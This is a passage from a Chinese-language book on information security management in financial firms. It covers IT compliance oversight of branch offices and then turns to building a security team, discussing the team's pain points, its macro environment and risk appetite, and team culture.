·建立定期会议机制。比如季度分支机构IT工作例会,全体分支机构IT负责人和骨干参加。年度分支 机构IT工作会议,通报各分支机构IT工作全年情况,表彰先进,督促后进。 ·建立分支机构评级机制。分支机构根据规模大小分成ABC三类,同一类之间进行科技评级,通过评 级机制,将改进优化的一些非合规类要求给到分支机构,相比检查更有利于分支机构主动开展IT建设工 作,评级注重的是未来持续发展能力。 ·开展分支机构检查并全覆盖,确保分支机构管理要求落地。检查可以采用现场检查和非现场检查相 结合;计划内检查和飞行检查相结合;对标类检查和技术类检查相结合等方式。 4.8 信息科技风险库示例 为了让读者对信息科技风险库有直观清晰的认识,参照银监会《商业银行信息科技风险管理指引》 的框架,给出了一份信息科技风险库示例,如表4-4所示,这个示例只列举了一级和二级领域。 表4-4 信息科技风险库示例 信息科技风险库很重要的一个输入是,业界和企业内部历史上曾经发生的信息科技风险事件案例, 以及监管机构发布的风险提示、披露的行业信息科技风险事件。将内部过往信息科技风险事件提炼成风 险库,并作为信息科技风险管理的重点,在风险监测和防控、监督检查等方面重点关注,争取做到历史 事件免疫。 4.9 小结 金融行业是牌照行业,接受严格的监管,合规是金融企业的底线和最低要求。本章详细地讲述内控 合规的方方面面。IT内控合规是广义信息安全的一部分,是管理体系中很重要的一环,金融企业做好IT 内控合规管理建设,需要建立一套外规对内规、内规对检查、检查对整改、整改对考核的闭环管理体 系。 第5章 安全团队建设 金融企业的信息安全管理是一项综合性极强的工作,既包括信息科技治理架构、信息科技合规建 设、信息安全管理体系等安全管理类工作,又包括安全运营、安全攻防对抗、安全态势感知等技术性工 作。随着信息安全技术发展日新月异,各种攻击手段层出不穷,而且由于金融行业面临的攻击具有获利 高、影响广、危害大等特点,金融行业信息安全管理的要求日趋精细,对信息安全团队的基础能力、学 习能力、创新能力都提出了巨大的挑战。信息安全工作的完成是虚有其表,还是卓有成效,最核心的决 定因素在于是否建立起一支懂管理、精技术、基本功扎实、战斗力强劲的信息安全团队。 大力加强信息安全团队建设,培养信息安全专业人才,在金融业信息安全防控工作中具有举足轻重 的作用。 5.1 安全团队建设的“痛点” 这个互联网上曾经红极一时的漫画(如图5-1所示),非常生动形象地反映了信息安全团队的痛点, 其核心词就是“背锅”。虽然网络漫画有失偏颇和略显夸张,但真实反映了信息安全团队成员价值感缺 乏、压力巨大的现实情况。 对于金融企业来说,信息安全工作非常重要,这是任何一个金融行业的董事会和高管层都不容忽视 的领域。尽管所有金融企业都会将信息安全作为重要工作对待,基于信息安全工作与生俱来的特点,金 融企业信息安全团队仍然摆脱不了整个行业的“宿命”。概括来说,金融企业信息安全团队主要存在以下 几方面的痛点。 1.价值感和存在感缺乏 首先,对于金融企业来说,信息科技是“后台部门”,而信息安全工作是“后台中的后台”。信息科技工 作是为前中台部门服务的,在业务发展良好的时候,信息科技工作往往并不会有很大的存在感,最多 在“功劳簿”中算上一笔(辅助作用)。而一旦因为信息科技风险事件影响到业务正常开展,甚或仅仅是 某些系统的客户体验不好、用户操作不方便、功能不完善等造成业务使用的困难,信息科技就很容易成 为“众矢之的”。而信息安全工作,更是可谓“后台中的后台”,在信息科技工作的“主流程”中很难排上位 置,通常与综合管理、商务管理等一起被归入信息科技的辅助支撑性职能中。 图5-1 信息安全痛点的形象描述 对于信息安全团队来说,如何体现对科技工作的价值,进而体现对业务的价值,是一个亟待破解的 难题。另一方面,对于信息科技部门的其他团队来说,信息安全团队就是不停地提要求、做检查、当监 工、找漏洞,却往往不是最后的执行人。所以信息安全团队总有点“吃力不讨好”,经常面临误解、抵触 甚至冲突,承受着巨大的压力。 其次,信息安全工作,核心职能是“踩刹车”而不是“踩油门”。信息安全工作,是考虑正常流程之外的 风险控制措施,就是充分考虑可能出现的漏洞、异常,并且采取加强型措施来规避。但信息安全天生与 客户体验是“背道而驰”的。例如,金融企业最常见的身份认证措施,如果要安全,就至少需要双因素认 证,而且至少需要两类的双因素,通常一笔转账,就需要账户密码、短信两个因素。这必然需要客户更 多的操作步骤。而如果只做一个因素的认证,客户操作方便了许多,但是却容易出现密码被盗取、撞库 攻击或者短信被木马拦截从而泄露的情况。所以,为了快速响应业务需求,在信息系统开发的生命周期 中,优先考虑的是系统功能如何最快速实现、客户体验如何最大程度优化,而在安全措施方面需要做一 些牺牲或让步。这个时候,信息安全团队需要“冒天下之大不韪”地挺身而出,做“唱白脸”的人,在需求阶 段就提出安全要求,在设计和开发阶段落实安全要求,在测试阶段验证安全要求落地情况,在投产后还 要孜孜不倦地检查确保安全要求达到,在碰到安全事件时再次复盘,排查此前考虑的缺漏,从而实现螺 旋上升。这些措施,对于业务来说,除了增加各类限制这种“阻碍业务发展”的措施外,几乎看不到安全 团队的价值。业务跟信息安全团队的接触,除了就是否“踩刹车”而PK之外,几乎没有其他可以遇上的机 会。而一旦没有坚持安全的底线,在漏洞真正被利用的时候,安全团队除了“背锅”,似乎别无选择。 再次,信息安全工作往往实施周期长,动辄需要几个月、半年,甚至一年的实施周期,所以效果需 要很长时间的积累才能显现出来。例如,信息安全风险监测,指标设立后需要非常长时间的数据积累才 能分析出结果;安全工具的实施,只是万里长征走完了第一步,后续的策略维护和日常运营,才是真正 见功夫和水平的,需要很长一段时间的细心监测、数据分析和策略调优,才能发挥效果。信息安全团 队,必须秉承工匠精神,一步一步、耐心细致地做好每一个日常的规定动作,才能确保不出问题。但这 些幕后的工作,确实很难走上前台,被领导、业务部门甚至本部门的人员所看到、理解和接受,因此安 全团队强烈缺乏存在感。 金融企业的信息安全人员,普遍存在难以找到个人价值感和成就感,甚至默默无闻没有存在感的情 况,很容易丧失目标,找不到方向,从而难以实现自我价值和突破,需要有人帮助信息安全团队形成自 己的价值体系,实现“专业自信”,方可打开向上的进步空间。 2.投入少,绩效衡量难 对于金融企业的信息科技工作来说,信息系统建设是最能实现投入产出比的工作,所以大量的科技 投入都放在系统开发部门。衡量开发工作的指标比较容易设置,例如,投产计划达成率、应用系统故障 率等,甚至部分业务系统可以用新增客户数、新增用户数、存贷款量以及利润值等指标来衡量。 生产运行所必备的基础设施建设和稳定运行所必备的监控、审计等相关支撑类系统建设及维保服 务,也让运维工作的投入可以占到一定的比例。通常可以用事件或故障数量、运维工单数量等来衡量运 行工作的绩效。 但是信息安全工作相对来说就比较难得到大手笔的投入,通常能在信息科技投入中占比5%就相当不 错了。因为在高层领导看来,信息安全工作就像个无底洞,投入很多却难以见效,安全工作的价值难以 量化和表现。例如,金融企业信息安全工作的目标是防控风险,防止漏洞被利用而产生实际的经济或非 经济损失。但是,如果信息安全工作做到极致,没有发生任何的风险或者没有出现任何的信息安全事 件,往往被认为“运气好”或者“没被坏人盯上”。而万一一个风险事件成为现实,可能一切归零,之前的所 有安全工作都被否定。因此,信息科技风险的产生和安全攻击事件经常是“碰运气”的结果而非安全工作 可以完全避免的,导致信息安全工作的绩效难以得到相对公正的衡量。 此外,安全工作通常会被认为比较“虚”,难以直接看到效果,往往只能具体到每个月或者每周做了 什么,如做风险防控、做策略优化、做安全检查、做整改督办,但是领导只看到你在做检查、做整改督 办、做安全工具维护,而具体化解了多少个风险,堵住了多少次攻击,是运气好没被盯上还是自己篱笆 扎得紧,却是难以评估和量化的。所以,安全团队的绩效,领导通常很难看到,也很难用一些量化的指 标去向领导展现和报告。 3.风险压力大 信息安全团队的天职就是化解风险,可以说每天面对的就是各种各样的风险,所以信息安全人员很 容易形成“职业病”,例如,有“工作洁癖”,看谁都像坏人,或者习惯性地对任何东西都形成备份等。 但是所谓“道高一尺,魔高一丈”,信息安全人员再高明,日常工作再认真细致,还是会滞后于黑产 的发展,滞后于风险的暴露。所以尽管信息安全工作一再强调“风险前移”,但事实上绝大多数的风险, 都是在事后才被发现。真正能做到事前、事中控制和化解的,毕竟是少数。因此,信息安全人员很多时 间都是在扮演“救火队员”,都处于一种紧张、焦虑的状态。特别是金融企业信息安全人员,一着不慎, 有可能面临的就是客户信息泄露、资金损失这样严重的事件,所以金融企业信息安全人员面临的风险压 力是非常之大的。 4.综合性人才、专业人才稀缺 我国普通高校的信息安全专业设立才不过区区数年时间,以前都是由计算机这个大学科背景的人员 从事信息安全工作,密码学原理、攻防基础等课程,并没有成为信息安全人员的“标配”。很多的信息安 全人员都是从具备一点点计算机知识开始,逐步通过自学知识、掌握工具、泡论坛学习交流以及血淋淋 的案例教训等方式,慢慢成长起来的。 金融企业的信息安全人员,处理的信息安全问题大到信息科技治理、信息科技战略规划,小到具体 的安全指标监测、安全事件处置、安全防控策略调优等,工作覆盖面广,接触信息量大,因此,除了具 备安全专业知识外,还必须掌握金融领域的业务知识,同时必须了解安全企业的开发、运行等工作特 点,才能从各个角度全方位地做好安全防控,应对针对网络、系统、应用、终端等各方面漏洞的攻击风 险。 所以,要既具备信息安全基础知识,又了解金融领域业务知识,还能对开发、运行的工作有所精 通,这样的人才是稀缺的,往往是从某一个领域入手,逐步培养和转化而来。 5.职业规划前景不明,职业发展的“天花板”较低 职业规划对个人的重要性不言自明,有职业规划意味着有目标,有目标意味着有动力,有动力才能 不断前进。因此,职业规划对于一个人的事业成败,起着决定性的影响。 对于金融企业的信息安全人员来说,要做好职业规划绝非易事。因为做任何一个职业规划,最重要 的因素就是“天花板”在哪里,这个“天花板”决定了团队成员努力的最高目标。金融企业的信息安全虽然相 对于其他行业来说很重要,也得到了更多的重视,但是通常都没有专门设置CSO(首席安全官),因此 信息安全人员的“天花板”基本上就是信息安全团队的主管(如银行业的信息安全处室负责人,证券行业 的安全总监等)。信息安全团队的规模,在大型金融企业中可以达到十余人至数十人之众,但中小型金 融企业其规模往往不会超过十人,信息安全团队主管的权限范围较难扩大。且由于信息安全并非信息科 技工作的“主营业务”,信息安全团队主管对业务、信息系统和生产运维工作的了解掌握往往难以深入, 因此继续升迁至部门负责人、CIO的机会微乎其微。 在这种情况下,金融企业信息安全团队成员的职业规划空间就较为狭窄。通常是一部分人走安全管 理路线,一部分人走安全技术路线,其中的脱颖而出者就走至安全团队负责人。因此,团队中拥有更大 抱负的佼佼者,往往会想办法离开安全团队,走向更贴近业务、更贴近市场的开发、运行条线,以谋求 更大的发展空间。 要解决信息安全团队的普遍“痛点”,需要从信息安全团队面临的企业宏观环境着手分析,从信息安 全文化建设、信息安全团队意识建设、信息安全团队能力建设、信息安全绩效指标体系建设等几方面多 管齐下,从而打造一个责任心强、有组织有纪律、富有战斗力的团队。 5.2 安全团队面临的宏观环境 信息安全团队不是孤立存在的,信息安全的价值体现在对业务、对企业发展的价值。因此,信息安 全团队的“痛点”,也必须放在金融企业宏观环境这个大格局中,先从分析团队面临的环境入手,才能真 正有效地化解矛盾,解决问题。 1.信息安全团队要有独立的使命、愿景和价值观,但必须服从企业整体的使命、愿景和价值观 要建立一支具有优良作风和专业水平的信息安全团队,需要先确立团队自身的相对独立的使命、愿 景和价值观,这是信息安全团队全体成员共同遵守的准则和纲领,必须贯彻到每一个信息安全团队成 员,并时常学习、互相提醒以刷出“存在感”。 金融企业的使命是服务客户,服务经济。信息安全作为支撑性工作,是为金融企业的业务和管理目 标保驾护航的,因此信息安全的使命、愿景和价值观,必须遵从整个金融企业的使命、愿景和价值观。 2.信息安全团队建设必须遵从金融企业战略需要 不管采用哪一种使命、愿景和价值观,信息安全必须服从金融企业战略管理需要,为了实现业务战 略目标而存在,不能为了安全而安全。信息安全工作是一个循序渐进、螺旋上升的过程,信息科技风险 无处不在,信息安全建设永无止境,不管是大型金融机构的年均投入几个亿,还是中小型金融机构的几 十万到几百万,不管是大型金融机构信息安全团队的十几至几十人,还是中小型金融机构的几个至十几 个人,都不能堵住所有的风险漏洞,无法保证绝对的安全。信息安全工作,永远都是在做效益和风险的 平衡和博弈,只能用尽可能小的代价,做尽可能少的事情,来实现相对最大的安全防控效果。 信息安全团队建设,是信息安全战略的重要组成部分。信息安全战略需要遵从信息科技战略,而信 息科技战略需要遵从企业战略。因此,需要首先从企业业务战略目标推导出对信息科技工作的要求,从 而制定信息科技战略;然后从信息科技战略分解出信息安全战略目标,从信息安全战略目标再推导出信 息安全团队建设目标。 根据金融企业的传统做法,通常会选择相对稳健的业务战略风格,对信息科技架构、信息安全战略 的要求也会相对传统、稳健,信息安全团队以合规、风险控制为目标,先期会将重点放在满足监管要 求、部署传统安全工具、防御外部攻击等工作上。 而现在传统金融企业纷纷进入转型期,积极拥抱互联网特别是移动互联网,通常会特别重视互联网 金融建设,相应的科技战略、科技组织架构会有很多适应互联网金融时代灵活、多变、可扩展性强的特 征,对信息安全工作也就有着与此相适应的要求。信息安全团队的工作更侧重于云安全、大数据安全、 物联网安全、人工智能安全等方面。 3.信息安全团队建设必须与企业风险偏好相适应 (1)企业风险偏好与企业发展周期息息相关 根据企业生命周期理论,企业的发展与成长的动态轨迹包括发展、成长、成熟、衰退几个阶段,处 于不同生命周期阶段的企业将会建立与其特点相适应、并能不断促其发展延续的特定组织结构形式,使 得企业可以从内部管理方面找到一个相对较优的模式来保持企业的发展能力,在每个生命周期阶段内充 分发挥特色优势,进而延长企业的生命周期,帮助企业实现自身的可持续发展。在不同阶段的企业会有 不同的风险偏好,也就意味着需要不同的信息安全建设目标和管控水平。信息安全建设,需要与企业不 同生命周期的风险偏好相适应,才能更好地起到保驾护航的作用。 在金融企业建设初期,面临严重的业绩压力,发展是第一要务,通常会采用“进攻型”的战略,对于 风险的接受程度相对较高,信息安全建设往往被放到不那么重要的位置,此时信息安全团队的数量和质 量均会偏弱,甚至是由一个人兼职完成,相应的信息安全建设将主要以“合规”为第一目标,立足于达到 监管要求这一最底线要求。 随着金融企业建设的成长,通常由“进攻型”向“防御型”战略转变,以使企业在战略期内所期望达到的 经营状况基本保持在战略起点的范围和水平。相对应的,此时风险偏好会偏向于“平衡”,信息安全队伍 逐步壮大,往往能建立起一支由几个人组成的信息安全团队。而且由于此时企业知名度日渐上升,受到 的外部攻击威胁与日俱增(例如,仿冒的钓鱼网站多了起来,外部监测网站披露的漏洞也多了起来), 此时的安全团队除了满足监管要求外,需要建立起一定的安全攻防能力,安全团队中将分出1~2人来专职 负责安全技术防控工作。 企业建设的成熟阶段,通常采用更为稳健的策略,对风险的接受程度更低,对安全合规和风险控制 的要求更高,面临的攻击风险和声誉风险更大。此时的安全团队需要更加壮大,安全管理和安全技术并 重,“两手抓、两手都要硬”。 企业建设的衰退阶段,可能会采用“紧缩型”战略,此时的安全重点是“不出事”,由于投入的减少,安 全团队建设逐步开始萎缩,又回到“满足监管要求”的原始阶段。 (2)企业风险偏好,与企业的性质和管理风格相关 金融企业是经营风险的企业,同时也是风险集中的企业,更是将风险防范作为头等大事的企业,在 风险防控方面有着特殊的需求。但不同性质和管理风格的金融机构,其风险偏好也会大不一样。 对于风险规避型的金融机构,当预期收益率相同时,偏好那些具有低风险的解决方案,对于风险控 制与合规性的要求更高,因此对于信息安全工作的重视程度和落地要求就相对高一些,安全团队建设也 会处于扩张的状态。 对于风险追求型的金融机构,当预期收益相同时,会选择风险较大的方案,因为“高风险高收益”, 能给他们带来更大的效用。这一类金融机构对于合规建设的重视程度相对偏弱,信息安全工作目标通常 仅仅定为“不出事”,基本满足监管要求即可,安全团队建设会受到限制。 4.信息安全团队建设必须着眼未来,立足长远 近年来,随着移动互联网、物联网、云计算、大数据、区块链、人工智能等金融科技新技术的广泛 应用,传统金融机构在各个层面的运行模式被相继改变:移动互联网的快速普及大幅改变了用户的行为 习惯,云计算和物联网改变了业务处理和基础设施部署的方式,大数据技术改变了营销模式、风控模式 和决策模式,人工智能等技术改变了客户服务和运营模式,区块链重塑了交易流程和信任模式。精准识 别用户需求,提供极致用户体验,成为金融科技时代业务发展的首要驱动因素。 随着新技术的发展和新业务、新产品的涌现,信息科技的治理架构、技术架构和运维模式不断演 化,以适应激烈的市场竞争需要。伴生于信息科技建设的信息科技风险管理工作也面临着新形势下的新 问题,现有的信息安全防控体系面临防范不足、失当甚至失效的风险。而且,信息安全防御手段的发展 往往滞后于信息科技的发展。在新的科技创新形势和新技术层出不穷的环境下,新技术风险的暴露以及 随之而来的攻击手段创新,给信息安全风险防范带来了前所未有的压力和挑战。 因此,信息安全团队建设,必须着眼未来、立足长远,必须打造学习型组织,提高员工学习意愿, 激发学习潜力,才能与时俱进地学习新知识和新技术,才能更准确、更有效地识别新形势下的新风险, 才能更精准地应对风险,从而适应不断变化的内外部环境,实现更有效的风险防范。 5.3 安全团队文化建设 “企业文化就是企业发展的DNA”,信息安全团队文化建设就是信息安全团队建设的DNA。文化建设 就像一根纽带,把团队每一名成员的个人价值观和奋斗目标,与团队的价值观和整体目标紧密联系在一 起,促使每个成员产生强烈的归属感和荣誉感,最大程度地激发每个成员的积极性和创造性,从而使他 们能发挥最大的主观能动性,创造出最大的价值,实现团队整体合力最大化。 金融企业信息安全团队的文化,必须针对金融企业信息安全工作普遍面临的问题点和“痛点”,结合 宏观环境而制定,必须取得团队的认同感,对团队成员有实实在在的凝聚和激励作用。信息安全团队文 化,需要遵循“仰望星空,脚踏实地”的原则,既要有相对宏伟、虚化的愿景性文化,也需要有相对微 观、接地气的写实性文化。虽然不同的信息安全团队会基于各自的特点来开展文化建设,但以下几点“普 适性”的文化,可供信息安全文化建设时参考。 1.格局为先 在西方,这样一个故事广为流传:三个泥水匠同时盖一座教堂。有人问了这三个人同样的两个问 题: ·为什么干这个工作? ·你干的是什么样的工作? 第一个人愁眉苦脸地回答说:“还能为什么?不干活就没有面包吃!不就是把这堵墙砌好吗?还能是 什么工作?” 第二个人面无表情地说:“我是干泥水匠的,这是我的职业,我已经干20年了,这个城市几乎每间房 子我都知道是怎么盖起来的。” 第三位泥水匠面带微笑地回答:“我当然知道为什么干这工作,我正在盖这个城里最大的一座教堂, 而且我是在盖教堂的正门部分,这是多么重要,以后每个来做礼拜的人都会看到我做的工作。” 相信很多人都听说过这个故事,也都知道这个故事其实到这里并没有讲完。很多讲故事的人会接着 讲这三个人后来的人生成就相差之大:十年之后,第一个泥水匠手艺毫无长进,被老板炒了鱿鱼;第二 个泥水匠勉强保住了自己的饭碗,但只是普普通通的泥水匠;第三个泥水匠却成了著名的建筑师。 这三个泥水匠的根本差别在哪里?大家都知道,最主要的差别绝对不是做泥水匠的经验或者技能, 而是在于格局。第三个泥水匠的格局显然比前面两个泥水匠要大很多,所以他看到的不是眼前的一砖一 瓦,而是未来大教堂的宏伟蓝图。由于格局不一样,对目标的理解不一样,导致工作的出发点不一样, 自身能发挥出的潜力不一样,最后每个人的结局自然也不一样。 作为信息安全从业人员,也同样需要提升自己的格局,方可成就一番事业。对于每天从事的工作, 我们也有三种选择:一是把它看作养家糊口、不得已而为之的生计,“做一天和尚撞一天钟”;二是把它 看作一项赖以生存的职业,只顾做好眼前的具体工作,“不求有功、但求无过”;三是看到它对企业战略 落地、业务发展、科技工作、内外部客户保驾护航的重要价值,发自内心地热爱,充满激情地努力,“呕 心沥血,孜孜以求”,最终推动价值的落地实现。显然,我们必须选择第三种。因为格局不一样,所以思 考目标的时候,会把个人工作和企业目标关联起来,从企业价值的角度看待自己的发展。 格局不同,境界不同,达到的效果自然大相径庭。上述第三种格局,能让我们实现以下的效果: ·指导团队在制订目标时,更具有大局观,脱离自己的“框框”,打破自己的边界,看得更高、更远、 更深。 ·指导团队在完成具体任务时,习惯性地“以终为始”,凡事以目标为导向,在不能实现目标的时候及 时调整方法,而非机械地执行规定动作,最终导致目标“谬以千里”。 ·在团队遇到困难的时候,仍然保持坚忍不拔,在遭受非难的时候,仍然坚持砥砺前行,不因环境不 利而消极抱怨,不因能力不足而妄自菲薄。 ·在与其他团队协作的时候,以大集体、大团队的目标为先,突破小团队的局限,从而更好地互惠合 作,实现企业的整体目标。 ·带动团队开阔眼界,放开胸怀,多经历、多吸收、多学习,想办法多走出去,与同业、对手、合作 伙伴更多地交流,吐故纳新,扬长避短,从而推动格局和视野的螺旋上升,形成良性循环。 2.认同价值 信息安全团队通常都自嘲为“背锅侠”,功劳没有,苦劳一堆,没事的时候默默无闻,出事的时候首 当其冲。当然,这是信息安全工作的“宿命”,作为信息安全团队的一员,必须首先从心底接受这一点, 必须“认命”,因为信息安全的使命,本身就不是直接创造价值的。 因此,信息安全团队必须要树立良好的心态,从心底认同自己在金融企业中的价值,并且为了实现 自己的价值而孜孜不倦。这样就不会完全被外界的评价而左右,才能尊重自己内心的呼唤,踏踏实实地 做好基础性的工作,不好高骛远,不贪多求快。 大家都要认识到,信息安全团队的价值可以体现在很多个层面: 一是从国家、社会的宏观层面来讲,成立了网络安全和信息化领导小组,发布了《网络安全法》, 说明在国家层面对于网络安全和信息安全的高度重视和极大关注,网络安全已经成为关系到国计民生的 大事。网络技术除了给人们的生活带来种种方便外,同时也为网络上的攻击、诈骗、侵权、窃密等事 件,以及网络上的造谣传谣、涉黄赌毒乃至利用网络传播暴力恐怖有害信息等等提供了便利条件。网络 攻击和网络窃密事件层出不穷,匿名者(Anonymous)、蜥蜴小组(LIZARD SQUAD)等黑客组织对商 业机构的攻击时有发生,社会上的黑产黑客时刻虎视眈眈,都给国家和社会造成了很大的威胁。 一方面,金融是现代经济的核心,中国作为世界第二大经济体和重要的金融大国,金融安全是国家 安全的重要组成部分。另一方面,金融与社会上的每个人息息相关,金融安全事关每个人“钱袋子”的安 全,是社会稳定的重要保障。因此,金融企业的信息安全团队背负着极其重要的使命,必须时刻警惕、 厉兵秣马、未雨绸缪,坚守岗位,为国家和社会的稳定贡献自己的力量。 二是从行业、企业的微观层面来讲,信息系统运行的稳定性直接关系到企业金融服务的稳定性,客 户信息泄漏及其引发的网络诈骗事件可能造成资金的直接损失,如果出现网络攻击事件,可能引发客户 的恐慌,导致舆情的风险,危害是极其严重的。 信息安全团队通过自己的努力,保障信息科技工作的合法合规,保障信息系统的稳定运行,保障业 务服务的连续和安全,保障客户的信息不被泄露,保护客户资金不遭受损失,维护金融企业的声誉。以 上这些虽然不直接创造利润,但通过“合规创造价值”“安全保障创新”等保驾护航的手段,信息安全团队同 样可以取得骄人的成绩,可以获得内外部客户的认可。作为信息安全团队的一员,既可以有很多的“小确 幸”,也可以实现“大成就”。 3.专业自信 金融企业的信息安全是一项涉及面很广但同时专业性很强的工作,保持专业水准,是信息安全团队 自信的来源,是团队核心竞争力不可替代性的体现。因此,信息安全团队应该时刻思考,如何提升自己 的专业能力,如何建立对工作、对自己的信心,满怀激情地将工作做到极致,才能使团队的价值最大 化。 信息安全专业自信,不是盲目自大,首先必须要有真材实料,应该对整个安全形势有自己的判断, 其次对信息安全行业和市场要有足够的了解。应该建立自己的知识结构: ·要有规划意识,构建信息安全的整体逻辑架构。信息安全涉及范围非常广泛,有宏观也有微观,有 横向也有纵向,有管理也有技术,信息安全团队要明确自己的规划边界,思考如何建立一个合理的安全 架构。 ·要了解安全形势。从国际安全形势、国家安全政策、国内安全动态、安全监管方向、金融安全态势 等角度出发,了解最新的安全趋势,方可及时调整自己的工作重点和风险防范重点。时刻把自己的工作 代入到宏观大环境中思考,就可以跳出局限性的思维框架,更好地把握和防控关键风险。 ·要了解整个金融行业和信息安全产业。一方面,要了解金融行业的监管政策、业务趋势、业务风 险,思考信息安全工作如何围绕行业要求开展;另一方面,要了解信息安全垂直行业,对于行业的发展 趋势、前沿技术要持续学习,才能为我所用。此外,还需要知道金融同业的安全防控情况,客户最关心 的风险等,确保工作有的放矢。 ·要深入学习掌握专业知识。攻击手段的不断进化推动了防御手段的持续调整,导致信息安全技术演 进和发展很快,信息安全团队需要不断地吸收专业知识,时刻保持自己对最新的政策文件、攻防技术都 心中有数。 ·要多思考、多总结、多分析,形成逻辑框架和专业经验。需要摒弃被动的吸收,多一些主动的思考 和沉淀,形成自己的专业逻辑框架,在框架内发现自己的短板,有针对性地补充新的知识,才能在专业 的深度和广度上走得更远。 ·要分清主次,抓住重点。金融企业信息安全面临的风险是非常多的,要力图解决每一个问题是不现 实的,资源也不可能无限制投入。因此,要提高对关键风险、重要问题的判断能力,针对关键风险和重 要问题要深入理解,多想多问为什么,思考每个问题背后的意义,深究每个风险背后的原因,各个击 破,力求化解,切忌不求甚解、囫囵吞枣。如此以点带面,才能逐步提高整体专业水平。 综上所述,信息安全团队必须打造专业自信的文化,不给自己设框设限,要逃离自己的舒适区,开 创更为广阔的天地。要对自己有严格的要求,实现两个“高于”的目标:高于领导的期望,高于领导的专 业水平。 4.处处用心 稻盛和夫在《活法》一书中,提到过这样一个故事: 他年轻的时候听过松下幸之助的一个演讲,松下幸之助演讲的内容是经营企业应该像水库蓄水一 样,景气时要为不景气时做好准备,一定要保留一个后备力量。 那时松下幸之助的事业也刚刚起步,远没有后来的声望,很多人听了演讲之后,都不怎么满意。因 为他们希望听到的是怎么让企业成功的经验,而不是企业如何在取得一定成功后做什么准备的话。因 此,有人说:“说些什么呢?不正因为没有储备,大家才每天挥汗如雨,恶战苦斗的吗……我们想听的是 如何去建造这个水库,而你再三强调水库的重要性,这有什么用呢?”有一个男士站起来质问:“如果能 进行水库式管理当然好,但是,现实上不能。若不能告诉我们如何才可以进行水库式的经营,那不是白 说吗?” 松下幸之助这时有些无奈,他停了一下说:“那种办法我也不知道,但我们必须要有不建水库就誓不 罢休的决心。” 许多人哄堂大笑,但稻盛和夫却很有收获,并把这种不建水库就誓不罢休的决心应用到创业中,也 许正是这种誓不罢休的精神,才有了他的成功。 从这个故事中,我们可以看到,一个“用心”的文化多么重要。只有先有“心”,才能把一切事情做好; 只要有了“心”,就可以把一切事情做好。 对于信息安全团队来说,也必须先“用心”。“用心”的文化体现在很多方面: ·每个团队成员,都要把团队的目标作为自己的目标,凡事从目标出发,不停地思考实现目标的方 法,寻找各种对策来实现目标。例如,信息安全团队的目标是发现并化解信息科技风险,一旦树立了这 个目标,就会通过各种检查、整改等管理手段,以及各种各样的安全技术防控手段来提前发现风险,并 采取各种降低、规避、转移的方式来化解风险。 ·每个团队成员,都会自发地工作,主动把事情“做好”而非仅仅“做完”。团队领导考虑问题不一定非 常全面,交代任务时也不一定能事无巨细地讲透每一个细节,这时就需要每个团队成员主动思考、互相 补位,才可以形成强大的合力,推动目标更好地达成。 ·每个团员成员,碰到困难时会迎难而上,出现问题时则会共同担当。由于大家都是非常用心地工 作,在出现困难时,大家会一起想办法克服,用各种各样的手段去化解困难。 如稻盛和夫先生所说,“人哪里需要远离凡尘?工作场就是修炼精神的最佳场所,工作本身就是一种 修行。只要每天努力工作,培养崇高的人格,美好人生也将唾手可得”。如果信息安全团队的每一个成 员,都把工作当作一种修行,认真对待工作,就可以把事情做到完美,让别人放心,这是一个很可贵的 品质。对于团队来说,如果每个人都非常“用心”地工作,那将是团队的一笔宝贵财富。 5.养成习惯 在《习惯:习惯的力量》一书中提到,“没有什么比习惯的力量更强大”。习惯让我们“下意识”地行 动,不用刻意思考即可遵循规范行事;让我们减少了考虑时间,简化了行动步骤,从而更有效率。 养成好的习惯远比具体完成任何一项工作都要重要。对于信息安全团队来说,需要养成以下几个好 习惯: 一是计划的习惯。在工作中经常会碰到这样的情况,有些同事任务没有完成,当问及原因时,往往 是“忘记了”或者“太忙了”。但怎样做到不忘记?最好的方法就是制订计划。每个人接到每项任务后的第一 件事情就是制订计划,凡事必有计划,区别只是在于计划时间点的数量和时间的长短。“好记性不如烂笔 头”,对每件事情都定下自己的下一个目标时间点,并把它记在本人的工作计划表或项目管理工具中,再 每天/每周回顾计划表执行进展,就会不断提醒自己和别人,从而有条不紊、不遗漏地完成工作任务。 对于信息安全团队来说,计划主要分成四大类: ·例行性工作计划,例如,监管要求、制度要求中规定每天/每周/每月/每季/每年必须完成的工作任 务。对于这类任务,需要在接收到监管要求后或者制度制定后就马上列入计划表,每年初回顾一下,是 否需要根据监管要求或者制度规定对例行任务进行相应调整。 ·专项工作计划,例如,某个信息安全技术实施项目(部署WAF、安全大数据分析项目等),或者某 项安全管理类工作(通过ISO27001认证、制定××制度等),这些工作需要在每年初就确定工作目标,安 排相应的预算和人力资源,并列入部门整体工作计划中。 ·安全整改类工作计划,是针对在日常监管检查、审计或合规检查、风险评估、安全检查等工作中发 现的风险的处置工作计划,这些计划需要在检查结果确认后马上制订对应的整改方案和完成时间表。 ·突发性工作计划,例如,新颁发的监管要求需立即组织对照排查并提交报告;外部新披露的风险漏 洞需对照检查和整改等,这些往往属于“重要而且紧急”的工作任务,在收到后需要第一时间明确完成的 目标要求、需要调动的各方资源等,并立即推进完成。 无论是哪类计划,都需要明确完成时间、责任人、资源需求、配合工作方、工作提交件和完成标志 等,然后纳入计划表中统一跟进直至最终“画上句号”。 二是敢于承诺和遵守承诺的习惯。金融企业信息安全团队的目标是防范和化解风险,为金融企业提 供安全服务。信息安全团队必须敢于做出承诺,并想尽办法严格遵守承诺,树立“使命必达”的信念,才 能博得领导或者其他团队的信任,有利于工作的开展。 ·面对监管机构或者审计、风险、合规等部门发现的问题,信息安全团队要敢于代表信息科技部门给 出限时整改的承诺。 ·面对领导或其他团队给出的工作要求,要敢于承诺完成时间和目标,并不折不扣地达成目标。 ·对于信息安全团队检查发现的问题,要敢于督促其他团队制订整改计划并给出完成计划的承诺,监 督承诺的执行。 三是高效处理邮件的习惯。信息安全工作与很多工作都有关联,每个人每天都会收到大量的邮件, 其中有些是阅知即可的,有些是要重点看并执行的,有些是收到后立即要处理的,有些是要花些时间才 能完成处理的。人们每天都要花很多的时间来处理邮件,既导致时间碎片化而降低效率,又可能出现因 邮件太多而使重要邮件没有及时处理。怎样才能高效地处理邮件,确保不遗漏待办事项,有几个小技巧 可以参考: ·关闭邮件的“即时提醒”功能,每天安排固定的时间处理邮件(例如,每个上午的固定时间,下班前 的半小时等),其他大片的时间专注于处理其他的专项工作。这样可以避免自己的工作思路总是被突如 其来的邮件打断,保持专注力,从而提高工作效率。不用担心错过“特急”的工作任务,因为对于特急的 事项都会通过电话提醒,这是一个大多数人都会遵守的职场习惯。 